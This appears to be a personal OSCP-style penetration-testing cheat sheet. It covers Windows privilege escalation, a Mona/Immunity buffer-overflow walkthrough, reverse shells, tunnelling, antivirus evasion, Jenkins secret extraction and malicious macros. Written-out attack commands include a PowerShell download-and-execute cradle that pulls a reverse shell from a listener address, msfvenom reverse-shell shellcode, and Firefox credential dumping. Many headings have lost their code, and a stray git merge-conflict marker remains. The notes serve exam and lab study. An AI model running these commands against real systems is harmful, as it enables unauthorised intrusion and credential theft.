enumerating server manager (remote desktop)
Navigate to the tools tab and select the Active Directory Users and Computers -- This will pull up a list of all users on the domain as well as some other useful tabs to use such as groups and computers
Token Impersonation
whoami /all look for privileges to abuse. most commonly abused privileges https://steflan-security.com/linux-privilege-escalation-token-impersonation/
https://jlajara.gitlab.io/Potatoes_Windows_Privesc
SeImpersonatePrivilege OR SeAssignPrimaryToken
load incognitoin meterpreterlist_tokens -g-- this will show tokens available for impersonationInvoke-TokenManipulation.ps1-- powershell version to sho tokens available for impersationimport-module .\Invoke-TokenManipulation.ps1.\Invoke-TokenManipulation -Enumerate.\Invoke-TokenManipulation -ImpersonateUser -Username "something\administrator".\Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
impersonate_token "BUILTIN\Administrators-- use this command Note: "BUILTIN\Administrators" is an example tokenFor Windows Server 2016 and Windows Server 2019
upload printspoofer.exe to target
PrintSpoofer.exe -i -c cmd
migrate PIDto services.exe to ensure yourself with correct permissionsJuicyPotato.exe-- download to target.download Invoke-PowerShellTcp.ps1 to target and add
Invoke-PowerShellTcp -Reverse -IPAddress listeneraddress -Port portnumberto the end of the filecreate execute.bat with contents
PowerShell "IEX(New-Object Net.WebClient).downloadString('http://listeneraddress/Invoke-PowerShellTcp.ps1')"and download to targetrun .\JuicyPotato.exe -t * -p execute.bat -l portnumber
setup nc listener with portnumber
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
diskshadow /s cmd
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
Is Mozilla Firefox installed? if so dump credentials. you will need to transfer these to your attacker machine and use python script to decrypt.
C:\Users\alice\APPDATA\Roaming\Mozilla\Firefox\Profiles\example path to a users credentialshttps://github.com/unode/firefox_decrypt
Invoke-RunasCS -Username USERNAME -Password PASSWORD -Command "whoami"-- found credentials? upload and run script.Enable rdp and allow through firewall
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fnetsh advfirewall firewall set rule group="administrators" new enable=Yesfor older systems
netsh firewall set service type = remotedesktop mode = enable
Random Software
Custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK.
https://attack.mitre.org/software/
Windows Buffer OverFlow
Mona Setup
Set the Mona Configuration !mona config -set workingfolder c:\mona\%p
Fuzzing
Try later https://github.com/AceSineX/BOF-fuzzer-python-3-All-in
Run a fuzzer and it will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message. Make a note of the largest number of bytes that were sent.
Create another py file.
Generating a Cyclic Pattern
Run /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l length to generate a cyclic pattern of a length 400 bytes longer than the string that crashed the server (change the -l value to this)
Copy the output and place it into a payload variable of the exploit script. On Windows, in Immunity Debugger, restart the vulnerable app and run the exploit.
Finding MSP Distance
On Immunity debugger run !mona findmsp -distance length. the length is the current payload length.
Controlling EIP
Mona should display a log window with the output of the command. If not, click the "Window" menu and then "Log data" to view it (choose "CPU" to switch back to the standard view). In this output you should see a line which states: EIP contains normal pattern : ... (offset XXXX). Update your exploit script and set the OFFSET variable to this value.
Set the payload variable to an empty string again and set the retn variable to "BBBB". restart vulnerable app and rereun exploit. EIP register should now be overwritten with the 4 B's (e.g. 42424242).
Finding Bad Characters
Generate a bytearray using mona, and exclude the null byte (\x00) by default. !mona bytearray -b "\x00"
Generate a string of bad chars from \x01 to \xff and update your exploit's payload variable with the bytearray.
Restart the vulnerable app in Immunity and run the modified exploit script. Make a note of the address to which the ESP register points and use it in the following mona command !mona compare -f C:\mona\oscp\bytearray.bin -a <address>
The window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file. Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string. The first badchar in the list should be the null byte (\x00) since we already removed it from the file. Make a note of any others. Generate a new bytearray in mona, specifying these new badchars along with \x00. Then update the payload variable in your exploit.py script and remove the new badchars as well. Restart oscp.exe in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns "Unmodified". This indicates that no more badchars exist.
Finding JMP ESP
!mona jmp -r esp -cpb "\x00" to Find a Jump Point. This command finds all "jmp esp" (or equivalent) instructions with addresses that don't contain any of the badchars specified. Choose an address and update your exploit script, set the "retn" variable to the address, written backwards (since the system is little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.
Generating ShellCode
Run msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c to generate payload. use -b option with all the badchars you identified including \x00. update the payload variable with the payload.
Prepending NOPs
Prepend NOPs. Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more "No Operation" (\x90) bytes. padding = "\x90" * 16
Win
Restart vulnerable app and exploit
Useful Commands
Find any file with the word "filename" in it
Scramble wordlists with john
Crunch to make wordlists
One of many ways of a spawning Python shell
Execute netcat revershell using PHP
Tunnels
Chisel
Step 1
Fire up chisel server on kali.
Step 2
Fire up chisel client on compromised machine.
Sshuttle
You can chain these to go deeper into networks.
Simple SSH
SSH dynamic port forwarding and proxy chains
Step 1
Step 2
Set proxychains conf to match ProxyChainsPort (see above) if not done already.
Step 3
Plink
Reverse shells
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Bash
Reverse powershell using kali terminal
Reverse Powershell using windows command shell
CMD Runas
Powercat
Invoke-PowerShellTcp.ps1
Invoke-RunasCS
Step 1
Upload reversePowershell and Invoke-RunasCS script
Step 2
Execute powershell using Invoke-RunasCS
Socat Powershell
Socat Bash
ASP CMD
Perl
OpenSSL
Step 1
Step 2
Step 3
Maintaining Access
Via Windows Task
PowerShell
PTY Shells
Linux
Ctrl + Z [Background Process]
Windows
https://github.com/antonioCoco/ConPtyShell
Creating Wordlists
Common username formats
first.last firstinitiallast lastnamefirstinital firstname
Examples
marcela.sauceda msauceda saucedam marcela
Hash Formats
If hash starts with
aad3b-- probably NT hashIf hash does not start with
aad3b-- probably LM hash$krb5asrep$23.hashcat -m 18200 hashes.txt -d 2 -a 0 /usr/share/wordlists/rockyou.txt$krb5tgs$23.hashcat -m 13100 hashes.txt -d 2 -a 0 /usr/share/wordlists/rockyou.txthashcat --example-hashes
File Transfer
Download File Powershell 2.0
Download File Powershell 3.0
Download File Powershell
Download String Powershell
Wget
Base64
On attacking machine encode the file and copy the output string
Lastly, on the victim machine decode the string
Certutil
Vbscript
Running the script
Python2 HTTP server
Python2 FTP server
Python2 SMB server
Antivirus Evasion
Check If Windows Defender is Running
Or With PowerShell
Prometheus
Amsi bypass
https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
Downgrade to powershell version 2 first
Enter below and rerun blocked PS script
Powershell In-Memory Injection
Step 1
Create meterpreter payload
Step 2
Insert shellcode in the $sc= variable
Step 3
Change Execution Policy on current user
Step 4
Start meterpreter listener
Easy Wins
IIS ASP 'web.config' shells
https://gist.github.com/gazcbm/ea7206fbbad83f62080e0bbbeda77d9c
Malware Analysis
use Detect It Easy to detect source language (already installed on your kali)
ghidra
Decrypt VNC PASSWORD
Building Jenkins Job
click on Configure > Build Triggers > Trigger builds remotely and enter an authentication token of your choice, for example test . Now click on Build > Add build step > Execute a windows batch command and enter whoami
Now on the top right click on user icon and navigate to Configure.
Click on Add new Token and enter the token that we created earlier. Click on generate and copy the generated token. Using this token we can trigger the earlier configured job.
Triggering the build job
If your unable to obtain reverse shell attempt to read the credentials.xml file, in case any credentials have been added to Jenkins. It's plausible that the master server will hold SSH keys, AWS secrets, and user credentials among other sensitive files. We can see the Jenkins path from the earlier build result.
Finding The Jenkins Users
Attempting to view admin credentials
Retrieving master.key and hudson.util.Secret from secrets folder
Decrypting the secret using https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py
OffSec YT | Walkthroughs
Methodology Tips
https://youtu.be/XQnkiuIFZ-c?t=3940https://youtu.be/4ls30YSlfAM?t=5064Methodology for information gathering and prioritizing attack vectors and surfaces.
https://youtu.be/kSmiFJipiZw?t=172728:47 - 1:11:55
Exam Tip / PWK Lab: Connecting the dots
https://youtu.be/UzR1dH810aM?t=1685
28:07 - 29:12
Exam Tip / PWK Lab: Login Page
https://www.youtube.com/watch?v=UzR1dH810aM&t=4748s 01:19:08 - 01:20:50
Exam Tip / PWK Lab : Searching for exploit at dead-end (login/fuzzing). We don’t always have to brute-force login pages.
https://youtu.be/UzR1dH810aM?t=4874
01:21:14 - 1:30:07
Exam Tip / PWK Lab: Fuzzing
https://youtu.be/UzR1dH810aM?t=4190
1:09:50 - 1:10:32
Exam Tip / PWK Lab: Offsec's silly tip brute force rule of thumb https://youtu.be/270ZD17aA1Y?t=3300 55:00 - 57:40
Exam Hack: Permitted automated SQLi
https://youtu.be/c2OFrDVb3EM?t=2558 42:39 - 50:18
Exam Tip: Hack the Metasploit https://youtu.be/Bkp3n___dko?t=3018 50:18 - 1:11:42
Fuzzing Tip: Fuzz Parameters
https://youtu.be/XQnkiuIFZ-c?t=2848 47:28 - 52:50
Most underrated Vuln / SSRF / Maybe Out-of-Scope+Overkill for exam prep / Good thing to watch
https://youtu.be/Y14yjigX9I8?t=2910 48:30 - 1:04:08
Burp Suite Tip
https://youtu.be/UzR1dH810aM?t=3733
01:02:13 - 1:06:16
Siddicky’s Recommended Cheatsheet
https://youtu.be/UzR1dH810aM?t=6913 01:55:13 - 01:55:30 https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html
Fuzzing Tip: burp parameter discovery
https://youtu.be/x6BSeahgfgY?t=3316 55:16 - 58:30
Port Knocking Concept
https://youtu.be/270ZD17aA1Y?t=3926 01:05:26 - 01:10:54 https://sirensecurity.io/blog/port-knocking/
Fuzzing Tip: Found Nothing with Fuzzing
https://youtu.be/GBSWd_2fw3s?t=2110 35:10 - 36:20
Restricted shell bypass https://youtu.be/c2OFrDVb3EM?t=3254 54:14 - 57:04
S1REN’s PrivEsc Cheatsheet Inpiration: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Most used wordlists
To Be Categorized
Malicious HTA
Internet Explorer Client Side Attack
Url File Attacks
capture hashes social engineering client side attack
Create a file called '"@something.url"'
Malicous Macro Microsoft Word Doc
Create malicious payload
open microsoft word, create a new macro called "mymacro" in the current document
attack scenario #1 via upload ftp or smb
attack scenario #2 via self hosted webserver
Working with json files JQ
Parse for users
Or
Parse for groups
Alternate DATA Stream
auto runs
copy autoruns or autoruns64 to compromised machine use accesschk to
startup escalations
Passback attacks
Extract/open .img file
binwalk -e <.img FILE>
Git repos enumeration
Phpmyadmin
test for default creds
Wordpress
scan for every page not just the landing page
Journalctl
journalctl uses the default pager and most likely uses less and while using sudo can gain root privleges.
Boot2Root Docker
Default credentials are docker:tcuser
Get Windows Environment Variables
Windows Enumeration Using Registry Queries
Printers
computer name
Crack Password Protected Certificates
<<<<<<< HEAD
Using Sliver C2
Start Listener
Generate Beacon
List Beacons
Use Beacon
List Sessions
Use Session
=======
6912adbe47a973e22839842f37be3ab4655a044d
Managing BitLocker Volumes on Linux
BitLocker provides full volume encryption on Windows using TPM-stored AES keys. Linux, however, uses LUKS for encryption, which does not rely on TPM and encrypts the entire drive. To manage BitLocker volumes on Linux, ensure you have the right tools and follow these steps.
Prerequisites
Ensure you have the following packages installed depending on your Linux distribution:
For RHEL or Fedora:
qemu-imgcryptsetup(version 2.3 or higher)ntfs-3g-devel(optional, only needed for unclean NTFS volumes)
For Debian:
qemu-utilscryptsetup(version 2.3 or higher)ntfs-3g-dev(optional, only needed for unclean NTFS volumes)
Steps
1. Load the NBD Module
Begin by loading the necessary kernel module:
2. Mount the VHD/VHDX File
Mount your virtual hard disk file using the following command:
If you are working with multiple VHD files, increment the device node appropriately (e.g., /dev/nbd1, /dev/nbd2, etc.).
3. Identify the BitLocker Encrypted Partition
Determine which partition is encrypted with BitLocker:
Look for specific partition sizes to identify the BitLocker encrypted partition, typically /dev/nbd0p2 for the second partition.
4. Open the BitLocker Partition
Use Cryptsetup to open the encrypted partition:
5. Mount the File System
Create a mount point and mount the decrypted partition:
6. Fix NTFS Issues (if needed)
If there are NTFS related issues, you can fix them before mounting:
7. Unmount and Close
Finally, unmount the drive and close the BitLocker partition:
Last updated
